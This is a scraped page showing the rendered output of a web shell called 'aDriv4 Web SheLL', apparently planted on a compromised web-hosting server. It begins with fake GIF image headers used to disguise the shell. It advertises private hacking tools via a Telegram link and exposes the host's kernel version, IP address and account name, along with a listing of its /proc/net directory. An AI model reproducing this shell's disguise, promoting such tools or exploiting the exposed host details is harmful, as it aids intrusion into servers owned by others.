GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium30.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 198.54.116.22
Name Type Size Owner/Group Permission Last Modified Actions
. dir - makefntq/makefntq 0555 2026-01-11 11:17:32
.. dir - makefntq/makefntq 0555 2026-01-11 11:16:09
dev_snmp6 dir - root/root 0555 2026-01-11 11:17:32
netfilter dir - root/root 0555 2026-01-11 11:17:32
nfsfs dir - root/root 0555 2026-01-11 11:17:32
rpc dir - root/root 0555 2026-01-11 11:17:32
stat dir - root/root 0555 2026-01-11 11:17:32
xt_recent dir - root/root 0555 2026-01-11 11:17:32
anycast6 application/x-empty 0 B root/root 0444 2026-01-11 11:17:32
arp text/plain 0 B root/root 0444 2026-01-11 11:17:32
connector text/plain 0 B root/root 0444 2026-01-11 11:17:32
dev text/plain 0 B root/root 0444 2026-01-11 11:17:33
dev_mcast text/plain 0 B root/root 0444 2026-01-11 11:17:33
fib_trie text/plain 0 B root/root 0444 2026-01-11 11:17:33
fib_triestat text/plain 0 B root/root 0444 2026-01-11 11:17:33
hci text/plain 0 B root/root 0444 2026-01-11 11:17:32
icmp text/plain 0 B root/root 0444 2026-01-11 11:17:33
icmp6 text/plain 0 B root/root 0444 2026-01-11 11:17:33
if_inet6 text/plain 0 B root/root 0444 2026-01-11 11:17:33
igmp text/plain 0 B root/root 0444 2026-01-11 11:17:33
igmp6 text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip_mr_cache text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip_mr_vif text/plain 0 B root/root 0444 2026-01-11 11:17:33
ip_tables_matches 0 B root/root 0440 2026-01-11 11:17:32
ip_tables_names 0 B root/root 0440 2026-01-11 11:17:33
ip_tables_targets 0 B root/root 0440 2026-01-11 11:17:32
ipv6_route text/plain 0 B root/root 0444 2026-01-11 11:17:33
l2cap text/plain 0 B root/root 0444 2026-01-11 11:17:32
mcfilter text/plain 0 B root/root 0444 2026-01-11 11:17:33
mcfilter6 text/plain 0 B root/root 0444 2026-01-11 11:17:34
netlink text/plain 0 B root/root 0444 2026-01-11 11:17:34
netstat text/plain 0 B root/root 0444 2026-01-11 11:17:34
nf_conntrack 0 B root/root 0440 2026-01-11 11:17:34
nf_conntrack_expect 0 B root/root 0440 2026-01-11 11:17:34
packet text/plain 0 B root/root 0444 2026-01-11 11:17:34
protocols text/plain 0 B root/root 0444 2026-01-11 11:17:34
psched text/plain 0 B root/root 0444 2026-01-11 11:17:32
ptype text/plain 0 B root/root 0444 2026-01-11 11:17:34
raw text/plain 0 B root/root 0444 2026-01-11 11:17:34
raw6 text/plain 0 B root/root 0444 2026-01-11 11:17:34
route text/plain 0 B root/root 0444 2026-01-11 11:17:34
rt6_stats text/plain 0 B root/root 0444 2026-01-11 11:17:34
rt_acct application/octet-stream 0 B root/root 0444 2026-01-11 11:17:32
rt_cache text/plain 0 B root/root 0444 2026-01-11 11:17:32
sco text/plain 0 B root/root 0444 2026-01-11 11:17:32
snmp text/plain 0 B root/root 0444 2026-01-11 11:17:35
snmp6 text/plain 0 B root/root 0444 2026-01-11 11:17:35
sockstat text/plain 0 B root/root 0444 2026-01-11 11:17:35
sockstat6 text/plain 0 B root/root 0444 2026-01-11 11:17:35
softnet_stat text/plain 0 B root/root 0444 2026-01-11 11:17:32
tcp text/plain 0 B root/root 0444 2026-01-11 11:17:35
tcp6 text/plain 0 B root/root 0444 2026-01-11 11:17:37
udp text/plain 0 B root/root 0444 2026-01-11 11:17:37
udp6 text/plain 0 B root/root 0444 2026-01-11 11:17:37
udplite text/plain 0 B root/root 0444 2026-01-11 11:17:37
udplite6 text/plain 0 B root/root 0444 2026-01-11 11:17:37
unix text/plain 0 B root/root 0444 2026-01-11 11:17:38
xfrm_stat text/plain 0 B root/root 0444 2026-01-11 11:17:38
© aDriv4